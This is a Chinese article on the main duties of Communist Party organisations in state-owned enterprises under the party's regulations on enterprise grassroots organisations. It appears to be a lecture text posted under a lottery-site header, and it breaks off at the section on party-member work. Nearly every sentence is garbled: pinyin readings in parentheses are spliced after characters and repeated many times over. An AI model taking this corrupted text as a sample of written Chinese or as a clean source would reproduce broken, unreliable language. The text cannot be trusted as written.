ag8彩票官网

如何把握国有企业党组织的主要职责——学习贯彻《中国共产党国有企业基层组织工作条例(试行)》系列党课之二
发布时间:2020-10-10 浏览次数:5475次

近日,中共中央印发《中国(guo)共产(chan)党国(guo)有(you)(you)(you)企业基层组(zu)织工作条(tiao)例(试行(xing))》(以下简(jian)称(cheng)《条(tiao)例》),并在第三(san)章明确(que)界(jie)定了国(guo)有(you)(you)(you)企业党组(zu)织担负的(de)主要(yao)职(zhi)责。系统理清(qing)、准确(que)把握国(guo)有(you)(you)(you)企业党组(zu)织担负的(de)主要(yao)职(zhi)责,对于推动新时代国(guo)有(you)(you)(you)企业党组(zu)织更好地履(lv)职(zhi)尽责、不断提升(sheng)国(guo)有(you)(you)(you)企业党建工作的(de)整体质量和水平具有(you)(you)(you)积极作用。

一、国有企业党委(wei)(党组)的(de)主(zhu)要职责

《条例(li)》第十一条指(zhi)出:“国有企业(ye)党委(党组)发挥领(ling)导作用,把方(fang)向(xiang)、管大局、保落实,依照(zhao)规定讨(tao)论和(he)决定企业(ye)重大事项。”围绕着发挥领(ling)导作用,《条例(li)》设定了(le)国有企业(ye)党委(党组)的七项职责。

(一)确(que)保政治站位正确(que)的职(zhi)责

即要(yao)(yao)着力(li)“加强(qiang)企业(ye)(ye)党的(de)(de)(de)政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)建(jian)设(she)(she),坚(jian)持(chi)(chi)和落(luo)实(shi)中(zhong)国(guo)(guo)特色社(she)会(hui)主(zhu)(zhu)义根(gen)本(ben)制(zhi)度、基(ji)本(ben)制(zhi)度、重(zhong)要(yao)(yao)制(zhi)度,教育引导(dao)全体(ti)党员(yuan)始终(zhong)在(zai)政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)立(li)场(chang)、政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)方(fang)向、政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)原(yuan)则、政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)道路上同(tong)以习近(jin)平(ping)同(tong)志为核心的(de)(de)(de)党中(zhong)央保(bao)持(chi)(chi)高度一致(zhi)”。2019年1月(yue)31日印发(fa)实(shi)施的(de)(de)(de)《中(zhong)共(gong)中(zhong)央关(guan)于加强(qiang)党的(de)(de)(de)政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)建(jian)设(she)(she)的(de)(de)(de)意(yi)见》,在(zai)谈到提(ti)高国(guo)(guo)有(you)(you)企业(ye)(ye)政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)能力(li)时,特别指出(chu)要(yao)(yao)着力(li)“强(qiang)化(hua)(hua)国(guo)(guo)有(you)(you)企事业(ye)(ye)单(dan)位政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)导(dao)向”,因为“国(guo)(guo)有(you)(you)企业(ye)(ye)是(shi)中(zhong)国(guo)(guo)特色社(she)会(hui)主(zhu)(zhu)义的(de)(de)(de)重(zhong)要(yao)(yao)物质基(ji)础(chu)(chu)和政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)基(ji)础(chu)(chu)”。既然国(guo)(guo)有(you)(you)企业(ye)(ye)是(shi)重(zhong)要(yao)(yao)的(de)(de)(de)政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)基(ji)础(chu)(chu),国(guo)(guo)有(you)(you)企业(ye)(ye)党委(党组(zu))就必(bi)须(xu)提(ti)高政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)站(zhan)位,确保(bao)国(guo)(guo)有(you)(you)企业(ye)(ye)各项工作始终(zhong)坚(jian)持(chi)(chi)正确政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)方(fang)向、取得良好政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)效果。具体(ti)来说,就是(shi)必(bi)须(xu)把党的(de)(de)(de)政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)建(jian)设(she)(she)摆在(zai)首位,担负起党的(de)(de)(de)政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)建(jian)设(she)(she)责(ze)任,提(ti)高政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)站(zhan)位、强(qiang)化(hua)(hua)政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)引领、增强(qiang)政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)能力(li)、涵养政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)生(sheng)态、防范(fan)政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)风险(xian),坚(jian)决落(luo)实(shi)党中(zhong)央决策部署(shu),推动国(guo)(guo)有(you)(you)企业(ye)(ye)聚焦主(zhu)(zhu)责(ze)主(zhu)(zhu)业(ye)(ye),服务国(guo)(guo)家发(fa)展战(zhan)略(lve),全面履行经济责(ze)任、政(zheng)(zheng)(zheng)(zheng)(zheng)治(zhi)(zhi)(zhi)(zhi)(zhi)责(ze)任、社(she)会(hui)责(ze)任。

(二(er))对党的领导(dao)负责(ze)的职(zhi)责(ze)

即要(yao)(yao)“深(shen)入(ru)(ru)学(xue)习(xi)和(he)贯(guan)(guan)(guan)彻习(xi)近平(ping)新时代中(zhong)(zhong)国(guo)特色社会主义思(si)想,学(xue)习(xi)宣传党(dang)的(de)(de)理(li)(li)论,贯(guan)(guan)(guan)彻执(zhi)行党(dang)的(de)(de)路线方(fang)针政(zheng)(zheng)(zheng)策,监督(du)、保证(zheng)党(dang)中(zhong)(zhong)央(yang)重(zhong)大(da)决策部署和(he)上级党(dang)组织(zhi)决议(yi)在(zai)本企(qi)(qi)业贯(guan)(guan)(guan)彻落实”。2016年10月,习(xi)近平(ping)总书记在(zai)全国(guo)国(guo)有(you)(you)企(qi)(qi)业党(dang)的(de)(de)建设工作会议(yi)上发表重(zhong)要(yao)(yao)讲话时指出:“党(dang)对(dui)(dui)国(guo)有(you)(you)企(qi)(qi)业的(de)(de)领导(dao)(dao)是(shi)政(zheng)(zheng)(zheng)治(zhi)领导(dao)(dao)、思(si)想领导(dao)(dao)、组织(zhi)领导(dao)(dao)的(de)(de)有(you)(you)机统(tong)一。”党(dang)对(dui)(dui)国(guo)有(you)(you)企(qi)(qi)业的(de)(de)政(zheng)(zheng)(zheng)治(zhi)、思(si)想、组织(zhi)领导(dao)(dao),归结为一句话就是(shi)要(yao)(yao)在(zai)国(guo)有(you)(you)企(qi)(qi)业中(zhong)(zhong)深(shen)入(ru)(ru)贯(guan)(guan)(guan)彻落实党(dang)的(de)(de)决策决议(yi)决定、理(li)(li)论、纲(gang)领、路线方(fang)针政(zheng)(zheng)(zheng)策。据此看,国(guo)有(you)(you)企(qi)(qi)业党(dang)委(党(dang)组)的(de)(de)重(zhong)要(yao)(yao)职责(ze)之一就是(shi)对(dui)(dui)党(dang)的(de)(de)领导(dao)(dao)负责(ze),保证(zheng)中(zhong)(zhong)共中(zhong)(zhong)央(yang)重(zhong)大(da)决策部署和(he)上级党(dang)组织(zhi)决议(yi)在(zai)本企(qi)(qi)业的(de)(de)贯(guan)(guan)(guan)彻落实。

(三(san))决定企业重大事项的职责

即(ji)要“研(yan)究讨(tao)论企(qi)业重(zhong)(zhong)大经营管(guan)理事(shi)(shi)项(xiang),支持股东(大)会(hui)(hui)、董事(shi)(shi)会(hui)(hui)、监事(shi)(shi)会(hui)(hui)和(he)经理层依法行使职权”。《条(tiao)例》第十五条(tiao)指出(chu),国企(qi)党委(党组(zu)(zu))应(ying)研(yan)究讨(tao)论的重(zhong)(zhong)大经营管(guan)理事(shi)(shi)项(xiang)包括:贯彻党中(zhong)(zhong)央决策(ce)部署和(he)落实国家(jia)发展战略的重(zhong)(zhong)大举措;企(qi)业发展战略、中(zhong)(zhong)长期发展规划,重(zhong)(zhong)要改革方(fang)案;企(qi)业资(zi)(zi)产重(zhong)(zhong)组(zu)(zu)、产权转让、资(zi)(zi)本运(yun)作和(he)大额投资(zi)(zi)中(zhong)(zhong)的原则性方(fang)向性问题;企(qi)业组(zu)(zu)织架(jia)构(gou)设(she)置和(he)调(diao)整,重(zhong)(zhong)要规章制度(du)的制定和(he)修改;涉及企(qi)业安全生产、维护(hu)稳定、职工(gong)权益、社会(hui)(hui)责任等方(fang)面的重(zhong)(zhong)大事(shi)(shi)项(xiang);其他应(ying)当由党委(党组(zu)(zu))研(yan)究讨(tao)论的重(zhong)(zhong)要事(shi)(shi)项(xiang)。

切实保(bao)证国(guo)(guo)有企(qi)业(ye)党(dang)(dang)委(wei)(wei)(党(dang)(dang)组)研(yan)究(jiu)讨论企(qi)业(ye)重大经(jing)(jing)(jing)(jing)(jing)营(ying)管(guan)理(li)(li)事(shi)项(xiang)的落地,必须牢(lao)牢(lao)把握三个基本要(yao)点(dian):一是重大经(jing)(jing)(jing)(jing)(jing)营(ying)管(guan)理(li)(li)事(shi)项(xiang)必须经(jing)(jing)(jing)(jing)(jing)国(guo)(guo)有企(qi)业(ye)党(dang)(dang)委(wei)(wei)(党(dang)(dang)组)研(yan)究(jiu)讨论后,再由(you)董(dong)事(shi)会(hui)(hui)或者经(jing)(jing)(jing)(jing)(jing)理(li)(li)层(ceng)作出决定(ding),党(dang)(dang)组织研(yan)究(jiu)讨论是董(dong)事(shi)会(hui)(hui)、经(jing)(jing)(jing)(jing)(jing)理(li)(li)层(ceng)决策(ce)重大问(wen)题的前置程序。二是党(dang)(dang)委(wei)(wei)(党(dang)(dang)组)应当结合(he)企(qi)业(ye)实际(ji)制定(ding)研(yan)究(jiu)讨论的事(shi)项(xiang)清(qing)单,厘清(qing)党(dang)(dang)委(wei)(wei)(党(dang)(dang)组)和董(dong)事(shi)会(hui)(hui)、监事(shi)会(hui)(hui)、经(jing)(jing)(jing)(jing)(jing)理(li)(li)层(ceng)等其他(ta)治理(li)(li)主体(ti)的权(quan)责(ze)。三是坚持(chi)和完善“双(shuang)向进入、交叉任(ren)(ren)职”领导(dao)体(ti)制,符合(he)条件的党(dang)(dang)委(wei)(wei)(党(dang)(dang)组)班子成员(yuan)可以通(tong)过法定(ding)程序进入董(dong)事(shi)会(hui)(hui)、监事(shi)会(hui)(hui)、经(jing)(jing)(jing)(jing)(jing)理(li)(li)层(ceng)。特别是要(yao)有序推行企(qi)业(ye)党(dang)(dang)委(wei)(wei)书记“一正两副(fu)(fu)(fu)”设置模式,即(ji)党(dang)(dang)委(wei)(wei)书记兼任(ren)(ren)董(dong)事(shi)长或执(zhi)行董(dong)事(shi)、党(dang)(dang)委(wei)(wei)副(fu)(fu)(fu)书记之一兼任(ren)(ren)总(zong)经(jing)(jing)(jing)(jing)(jing)理(li)(li)、党(dang)(dang)委(wei)(wei)副(fu)(fu)(fu)书记之一专(zhuan)职抓党(dang)(dang)务。

(四)把关企业选人用(yong)人的职(zhi)责

即要(yao)(yao)(yao)(yao)(yao)(yao)(yao)“加强对企(qi)(qi)(qi)(qi)(qi)业选(xuan)(xuan)人(ren)(ren)(ren)用人(ren)(ren)(ren)的(de)领(ling)导和把关,抓好企(qi)(qi)(qi)(qi)(qi)业领(ling)导班子(zi)建(jian)设(she)和干(gan)部(bu)(bu)队伍(wu)、人(ren)(ren)(ren)才队伍(wu)建(jian)设(she)”。说到底,就是(shi)(shi)要(yao)(yao)(yao)(yao)(yao)(yao)(yao)在(zai)(zai)国(guo)(guo)有(you)(you)(you)(you)企(qi)(qi)(qi)(qi)(qi)业中落实(shi)(shi)(shi)党(dang)管(guan)干(gan)部(bu)(bu)原(yuan)则、党(dang)管(guan)人(ren)(ren)(ren)才原(yuan)则。2016年10月,习(xi)近平总书记在(zai)(zai)全国(guo)(guo)国(guo)(guo)有(you)(you)(you)(you)企(qi)(qi)(qi)(qi)(qi)业党(dang)的(de)建(jian)设(she)工(gong)作(zuo)会议上发表重(zhong)要(yao)(yao)(yao)(yao)(yao)(yao)(yao)讲话(hua)时指出:“国(guo)(guo)有(you)(you)(you)(you)企(qi)(qi)(qi)(qi)(qi)业领(ling)导人(ren)(ren)(ren)员必须(xu)做到对党(dang)忠诚、勇于创(chuang)新、治企(qi)(qi)(qi)(qi)(qi)有(you)(you)(you)(you)方、兴企(qi)(qi)(qi)(qi)(qi)有(you)(you)(you)(you)为、清(qing)正(zheng)廉洁(jie)。”这实(shi)(shi)(shi)际上就阐(chan)明(ming)了在(zai)(zai)国(guo)(guo)有(you)(you)(you)(you)企(qi)(qi)(qi)(qi)(qi)业中落实(shi)(shi)(shi)党(dang)管(guan)干(gan)部(bu)(bu)原(yuan)则选(xuan)(xuan)人(ren)(ren)(ren)用人(ren)(ren)(ren)需(xu)要(yao)(yao)(yao)(yao)(yao)(yao)(yao)坚(jian)持的(de)两个基(ji)本(ben)点:一是(shi)(shi)要(yao)(yao)(yao)(yao)(yao)(yao)(yao)“选(xuan)(xuan)好人(ren)(ren)(ren)”,二是(shi)(shi)要(yao)(yao)(yao)(yao)(yao)(yao)(yao)“选(xuan)(xuan)能(neng)人(ren)(ren)(ren)”。“好人(ren)(ren)(ren)”是(shi)(shi)对国(guo)(guo)有(you)(you)(you)(you)企(qi)(qi)(qi)(qi)(qi)业干(gan)部(bu)(bu)政(zheng)治忠诚“德”的(de)要(yao)(yao)(yao)(yao)(yao)(yao)(yao)求(qiu),就是(shi)(shi)要(yao)(yao)(yao)(yao)(yao)(yao)(yao)突出政(zheng)治合(he)格、作(zuo)风过硬、清(qing)正(zheng)廉洁(jie);“能(neng)人(ren)(ren)(ren)”是(shi)(shi)对国(guo)(guo)有(you)(you)(you)(you)企(qi)(qi)(qi)(qi)(qi)业干(gan)部(bu)(bu)能(neng)力素养(yang)“才”的(de)要(yao)(yao)(yao)(yao)(yao)(yao)(yao)求(qiu),就是(shi)(shi)要(yao)(yao)(yao)(yao)(yao)(yao)(yao)注重(zhong)选(xuan)(xuan)拔(ba)那些(xie)在(zai)(zai)“吃劲”岗位经历过锻(duan)造,在(zai)(zai)生(sheng)产经营管(guan)理一线摸(mo)爬滚打(da)、反(fan)复锤炼、反(fan)复锻(duan)炼成长起(qi)来,在(zai)(zai)实(shi)(shi)(shi)践锻(duan)炼中证明(ming)真正(zheng)是(shi)(shi)有(you)(you)(you)(you)本(ben)事、能(neng)干(gan)事、干(gan)成事、不坏事的(de)干(gan)部(bu)(bu)人(ren)(ren)(ren)选(xuan)(xuan)。当然,“选(xuan)(xuan)好人(ren)(ren)(ren)”与(yu)“选(xuan)(xuan)能(neng)人(ren)(ren)(ren)”不是(shi)(shi)并列(lie)的(de),前提(ti)必须(xu)是(shi)(shi)“好人(ren)(ren)(ren)”,接下(xia)来再看是(shi)(shi)不是(shi)(shi)“能(neng)人(ren)(ren)(ren)”。

(五)抓全面从严治党的(de)职责

即(ji)要(yao)“履行(xing)企业(ye)党(dang)(dang)(dang)(dang)(dang)(dang)风廉政建设(she)主体责(ze)(ze)任,领导、支持内(nei)设(she)纪(ji)(ji)(ji)检(jian)组(zu)(zu)织履行(xing)监督执纪(ji)(ji)(ji)问责(ze)(ze)职责(ze)(ze),严明政治(zhi)(zhi)(zhi)(zhi)(zhi)纪(ji)(ji)(ji)律(lv)和(he)政治(zhi)(zhi)(zhi)(zhi)(zhi)规矩,推(tui)(tui)动全面从严治(zhi)(zhi)(zhi)(zhi)(zhi)党(dang)(dang)(dang)(dang)(dang)(dang)向(xiang)(xiang)基层延(yan)伸(shen)”。党(dang)(dang)(dang)(dang)(dang)(dang)的(de)(de)(de)十九大以(yi)来(lai),全面从严治(zhi)(zhi)(zhi)(zhi)(zhi)党(dang)(dang)(dang)(dang)(dang)(dang)依(yi)然是(shi)管党(dang)(dang)(dang)(dang)(dang)(dang)治(zhi)(zhi)(zhi)(zhi)(zhi)党(dang)(dang)(dang)(dang)(dang)(dang)的(de)(de)(de)基本(ben)战略,并(bing)且不(bu)(bu)断(duan)向(xiang)(xiang)纵(zong)深(shen)推(tui)(tui)进(jin)(jin)、向(xiang)(xiang)基层延(yan)伸(shen)。在此情势下,国有企业(ye)党(dang)(dang)(dang)(dang)(dang)(dang)委(党(dang)(dang)(dang)(dang)(dang)(dang)组(zu)(zu))一定要(yao)肩负起(qi)(qi)全面从严治(zhi)(zhi)(zhi)(zhi)(zhi)党(dang)(dang)(dang)(dang)(dang)(dang)的(de)(de)(de)主体责(ze)(ze)任,把(ba)本(ben)企业(ye)的(de)(de)(de)管党(dang)(dang)(dang)(dang)(dang)(dang)治(zhi)(zhi)(zhi)(zhi)(zhi)党(dang)(dang)(dang)(dang)(dang)(dang)引入到纵(zong)深(shen)推(tui)(tui)进(jin)(jin)全面从严治(zhi)(zhi)(zhi)(zhi)(zhi)党(dang)(dang)(dang)(dang)(dang)(dang)的(de)(de)(de)轨道上来(lai)。一是(shi)要(yao)坚(jian)持正风肃纪(ji)(ji)(ji),持续纠治(zhi)(zhi)(zhi)(zhi)(zhi)以(yi)“四风”为(wei)代表的(de)(de)(de)党(dang)(dang)(dang)(dang)(dang)(dang)内(nei)不(bu)(bu)正之风,严格贯彻落实《中(zhong)国共(gong)(gong)产(chan)(chan)党(dang)(dang)(dang)(dang)(dang)(dang)纪(ji)(ji)(ji)律(lv)处分条(tiao)(tiao)例(li)(li)》《中(zhong)国共(gong)(gong)产(chan)(chan)党(dang)(dang)(dang)(dang)(dang)(dang)党(dang)(dang)(dang)(dang)(dang)(dang)内(nei)监督条(tiao)(tiao)例(li)(li)》《中(zhong)国共(gong)(gong)产(chan)(chan)党(dang)(dang)(dang)(dang)(dang)(dang)问责(ze)(ze)条(tiao)(tiao)例(li)(li)》等党(dang)(dang)(dang)(dang)(dang)(dang)内(nei)重要(yao)法规,把(ba)党(dang)(dang)(dang)(dang)(dang)(dang)的(de)(de)(de)六大纪(ji)(ji)(ji)律(lv)和(he)政治(zhi)(zhi)(zhi)(zhi)(zhi)规矩挺起(qi)(qi)来(lai),把(ba)监督执纪(ji)(ji)(ji)问责(ze)(ze)挺起(qi)(qi)来(lai),把(ba)党(dang)(dang)(dang)(dang)(dang)(dang)的(de)(de)(de)优良作风挺起(qi)(qi)来(lai)。二是(shi)要(yao)坚(jian)持一体化推(tui)(tui)进(jin)(jin)不(bu)(bu)敢腐、不(bu)(bu)能腐、不(bu)(bu)想腐,坚(jian)持治(zhi)(zhi)(zhi)(zhi)(zhi)标与治(zhi)(zhi)(zhi)(zhi)(zhi)本(ben)深(shen)度融(rong)合,铸(zhu)牢拒(ju)腐防变(bian)的(de)(de)(de)思想道德(de)防线。

(六)强化抓基层(ceng)打基础(chu)的职(zhi)责(ze)

即要“加强(qiang)基(ji)(ji)层(ceng)(ceng)(ceng)党(dang)组(zu)织(zhi)(zhi)建(jian)设(she)(she)(she)和(he)党(dang)员(yuan)队(dui)伍建(jian)设(she)(she)(she),团结(jie)带领职(zhi)工群众(zhong)积极投身企(qi)(qi)(qi)(qi)业(ye)(ye)(ye)改(gai)(gai)革发展”。国(guo)有(you)企(qi)(qi)(qi)(qi)业(ye)(ye)(ye)基(ji)(ji)层(ceng)(ceng)(ceng)党(dang)组(zu)织(zhi)(zhi)、党(dang)员(yuan)队(dui)伍是党(dang)在国(guo)有(you)企(qi)(qi)(qi)(qi)业(ye)(ye)(ye)中(zhong)的(de)全部工作和(he)战斗力(li)(li)的(de)基(ji)(ji)础,“基(ji)(ji)础不牢(lao)、地动(dong)山摇”。国(guo)有(you)企(qi)(qi)(qi)(qi)业(ye)(ye)(ye)党(dang)委(党(dang)组(zu))要把(ba)抓(zhua)国(guo)有(you)企(qi)(qi)(qi)(qi)业(ye)(ye)(ye)基(ji)(ji)层(ceng)(ceng)(ceng)党(dang)组(zu)织(zhi)(zhi)建(jian)设(she)(she)(she)、抓(zhua)国(guo)有(you)企(qi)(qi)(qi)(qi)业(ye)(ye)(ye)基(ji)(ji)层(ceng)(ceng)(ceng)党(dang)建(jian)工作摆(bai)在突(tu)出重要的(de)位(wei)置,以提(ti)升组(zu)织(zhi)(zhi)力(li)(li)为(wei)重点(dian),突(tu)出政治功能,把(ba)新时代的(de)国(guo)有(you)企(qi)(qi)(qi)(qi)业(ye)(ye)(ye)基(ji)(ji)层(ceng)(ceng)(ceng)党(dang)组(zu)织(zhi)(zhi)建(jian)设(she)(she)(she)成为(wei)宣传党(dang)的(de)主张、贯(guan)彻(che)党(dang)的(de)决(jue)定、领导基(ji)(ji)层(ceng)(ceng)(ceng)治理(li)、团结(jie)动(dong)员(yuan)群众(zhong)、推动(dong)改(gai)(gai)革发展的(de)坚强(qiang)战斗堡垒(lei)。

(七)增(zeng)强党的政治凝聚力的职责(ze)

即(ji)要“领(ling)导(dao)企(qi)(qi)业(ye)(ye)(ye)(ye)思想政治工(gong)作(zuo)、精神(shen)文明建设(she)、统(tong)一(yi)(yi)(yi)战(zhan)线(xian)工(gong)作(zuo),领(ling)导(dao)企(qi)(qi)业(ye)(ye)(ye)(ye)工(gong)会、共青团(tuan)、妇(fu)女组织等(deng)群团(tuan)组织”。国(guo)(guo)有(you)(you)企(qi)(qi)业(ye)(ye)(ye)(ye)的(de)(de)(de)(de)思想政治工(gong)作(zuo),担(dan)负(fu)着(zhe)(zhe)党(dang)(dang)团(tuan)结(jie)凝(ning)聚职(zhi)工(gong)群众(zhong)、统(tong)一(yi)(yi)(yi)思想认知(zhi)和(he)纯洁思想灵魂的(de)(de)(de)(de)效用(yong)(yong);国(guo)(guo)有(you)(you)企(qi)(qi)业(ye)(ye)(ye)(ye)的(de)(de)(de)(de)精神(shen)文明建设(she),担(dan)负(fu)着(zhe)(zhe)党(dang)(dang)致力(li)于提升企(qi)(qi)业(ye)(ye)(ye)(ye)整体精气神(shen),塑(su)造良(liang)好精神(shen)面貌的(de)(de)(de)(de)效用(yong)(yong);国(guo)(guo)有(you)(you)企(qi)(qi)业(ye)(ye)(ye)(ye)的(de)(de)(de)(de)统(tong)一(yi)(yi)(yi)战(zhan)线(xian)工(gong)作(zuo),担(dan)负(fu)着(zhe)(zhe)党(dang)(dang)最大可(ke)能、最大限度地凝(ning)聚形成企(qi)(qi)业(ye)(ye)(ye)(ye)各方共识、形成发(fa)展(zhan)(zhan)合力(li)的(de)(de)(de)(de)效用(yong)(yong);国(guo)(guo)有(you)(you)企(qi)(qi)业(ye)(ye)(ye)(ye)的(de)(de)(de)(de)工(gong)会、共青团(tuan)、妇(fu)联等(deng)群团(tuan)工(gong)作(zuo),担(dan)负(fu)着(zhe)(zhe)党(dang)(dang)与企(qi)(qi)业(ye)(ye)(ye)(ye)不同(tong)层面或领(ling)域的(de)(de)(de)(de)职(zhi)工(gong)群体强(qiang)化联系沟通的(de)(de)(de)(de)效用(yong)(yong)。国(guo)(guo)有(you)(you)企(qi)(qi)业(ye)(ye)(ye)(ye)党(dang)(dang)委(党(dang)(dang)组)只有(you)(you)领(ling)导(dao)开展(zhan)(zhan)好上述(shu)工(gong)作(zuo),才能增(zeng)强(qiang)国(guo)(guo)有(you)(you)企(qi)(qi)业(ye)(ye)(ye)(ye)整体的(de)(de)(de)(de)政治凝(ning)聚力(li),才能使(shi)企(qi)(qi)业(ye)(ye)(ye)(ye)上下左右、党(dang)(dang)内党(dang)(dang)外“心往一(yi)(yi)(yi)处想、劲往一(yi)(yi)(yi)处使(shi)、活往一(yi)(yi)(yi)处干(gan)”,凝(ning)心聚力(li)向着(zhe)(zhe)实现改革发(fa)展(zhan)(zhan)、生产经营、和(he)谐稳(wen)定(ding)的(de)(de)(de)(de)各项目标团(tuan)结(jie)奋(fen)进。

二、国有企(qi)业党(dang)支(zhi)部(党(dang)总(zong)支(zhi))以及内设机构中设立的(de)党(dang)委担负的(de)主要(yao)职责

《条(tiao)例》第十二条(tiao)指(zhi)出:“国(guo)有(you)企(qi)业(ye)(ye)(ye)党(dang)支(zhi)(zhi)部(bu)(党(dang)总支(zhi)(zhi))以(yi)及(ji)内设机(ji)(ji)构(gou)中(zhong)设立的党(dang)委围绕生(sheng)(sheng)产经营开(kai)展工作(zuo)(zuo),发挥(hui)战(zhan)斗(dou)堡(bao)垒作(zuo)(zuo)用。”国(guo)有(you)企(qi)业(ye)(ye)(ye)党(dang)支(zhi)(zhi)部(bu)(党(dang)总支(zhi)(zhi))以(yi)及(ji)内设机(ji)(ji)构(gou)中(zhong)设立的党(dang)委,实际上(shang)就是指(zhi)国(guo)有(you)企(qi)业(ye)(ye)(ye)中(zhong)党(dang)的基层组织(zhi),其发挥(hui)战(zhan)斗(dou)堡(bao)垒作(zuo)(zuo)用符合党(dang)的十九(jiu)大新修订的《中(zhong)国(guo)共产党(dang)章程》中(zhong)关(guan)于“国(guo)有(you)企(qi)业(ye)(ye)(ye)和集体(ti)企(qi)业(ye)(ye)(ye)中(zhong)党(dang)的基层组织(zhi),发挥(hui)政治核心作(zuo)(zuo)用,围绕企(qi)业(ye)(ye)(ye)生(sheng)(sheng)产经营开(kai)展工作(zuo)(zuo)”的基本定位。《条(tiao)例》设定了国(guo)有(you)企(qi)业(ye)(ye)(ye)党(dang)支(zhi)(zhi)部(bu)(党(dang)总支(zhi)(zhi))以(yi)及(ji)内设机(ji)(ji)构(gou)中(zhong)设立的党(dang)委担(dan)负的六(liu)项职责。

(一)宣(xuan)传和落实的职责(ze)

即(ji)要“学习宣传和(he)(he)贯(guan)彻落(luo)实(shi)党(dang)(dang)(dang)的(de)(de)理论(lun)和(he)(he)路(lu)(lu)线方针政(zheng)策(ce),宣传和(he)(he)执行党(dang)(dang)(dang)中央、上级党(dang)(dang)(dang)组(zu)织(zhi)和(he)(he)本组(zu)织(zhi)的(de)(de)决议,团结带领(ling)职(zhi)工群(qun)众完成(cheng)本单(dan)位(wei)各项(xiang)任(ren)务(wu)”。国有企业(ye)党(dang)(dang)(dang)支(zhi)部(党(dang)(dang)(dang)总支(zhi))以及内设机构(gou)中设立(li)的(de)(de)党(dang)(dang)(dang)委(wei)要在企业(ye)和(he)(he)所在单(dan)位(wei)中宣传党(dang)(dang)(dang)的(de)(de)主张、贯(guan)彻党(dang)(dang)(dang)的(de)(de)决定(ding),把党(dang)(dang)(dang)的(de)(de)决策(ce)决议部署、路(lu)(lu)线方针政(zheng)策(ce)向党(dang)(dang)(dang)员(yuan)和(he)(he)职(zhi)工群(qun)众讲(jiang)清楚讲(jiang)明白,将党(dang)(dang)(dang)员(yuan)和(he)(he)职(zhi)工群(qun)众凝聚到(dao)党(dang)(dang)(dang)的(de)(de)旗帜之下,使他们坚定(ding)不移听党(dang)(dang)(dang)话(hua)、跟党(dang)(dang)(dang)走,并用完成(cheng)生产经营管理目标任(ren)务(wu)的(de)(de)实(shi)际业(ye)绩来最终(zhong)检验党(dang)(dang)(dang)支(zhi)部(党(dang)(dang)(dang)总支(zhi))以及内设机构(gou)中设立(li)的(de)(de)党(dang)(dang)(dang)委(wei)的(de)(de)工作成(cheng)效。

(二)参与决策的职责(ze)

即要“按照规(gui)定参与本(ben)单位(wei)(wei)重大(da)(da)问题(ti)的(de)决(jue)(jue)(jue)(jue)策,支(zhi)(zhi)(zhi)持本(ben)单位(wei)(wei)负责人开展工作”。在企(qi)业(ye)、本(ben)单位(wei)(wei)的(de)重大(da)(da)问题(ti)、重大(da)(da)事(shi)项决(jue)(jue)(jue)(jue)定的(de)过程中(zhong)(zhong),国有(you)企(qi)业(ye)党(dang)(dang)(dang)(dang)支(zhi)(zhi)(zhi)部(bu)(bu)(党(dang)(dang)(dang)(dang)总支(zhi)(zhi)(zhi))以及内设(she)(she)机构(gou)中(zhong)(zhong)设(she)(she)立(li)(li)的(de)党(dang)(dang)(dang)(dang)委要根据有(you)关(guan)规(gui)定参与决(jue)(jue)(jue)(jue)策动议(yi)、决(jue)(jue)(jue)(jue)策论(lun)证、决(jue)(jue)(jue)(jue)策形(xing)(xing)成等全过程,使党(dang)(dang)(dang)(dang)支(zhi)(zhi)(zhi)部(bu)(bu)(党(dang)(dang)(dang)(dang)总支(zhi)(zhi)(zhi))以及内设(she)(she)机构(gou)中(zhong)(zhong)设(she)(she)立(li)(li)的(de)党(dang)(dang)(dang)(dang)委的(de)决(jue)(jue)(jue)(jue)策意志以适当(dang)的(de)形(xing)(xing)式(shi)和(he)(he)力度体(ti)现出来。其(qi)中(zhong)(zhong),“具有(you)人财物(wu)重大(da)(da)事(shi)项决(jue)(jue)(jue)(jue)策权且不设(she)(she)党(dang)(dang)(dang)(dang)委的(de)独立(li)(li)法(fa)人企(qi)业(ye)的(de)党(dang)(dang)(dang)(dang)支(zhi)(zhi)(zhi)部(bu)(bu)(党(dang)(dang)(dang)(dang)总支(zhi)(zhi)(zhi)),一般由(you)党(dang)(dang)(dang)(dang)员(yuan)负责人担(dan)任书记和(he)(he)委员(yuan),由(you)党(dang)(dang)(dang)(dang)支(zhi)(zhi)(zhi)部(bu)(bu)(党(dang)(dang)(dang)(dang)总支(zhi)(zhi)(zhi))对企(qi)业(ye)重大(da)(da)事(shi)项进行集体(ti)研究(jiu)把(ba)关(guan)”。

(三)党员工作方面的职(zhi)责

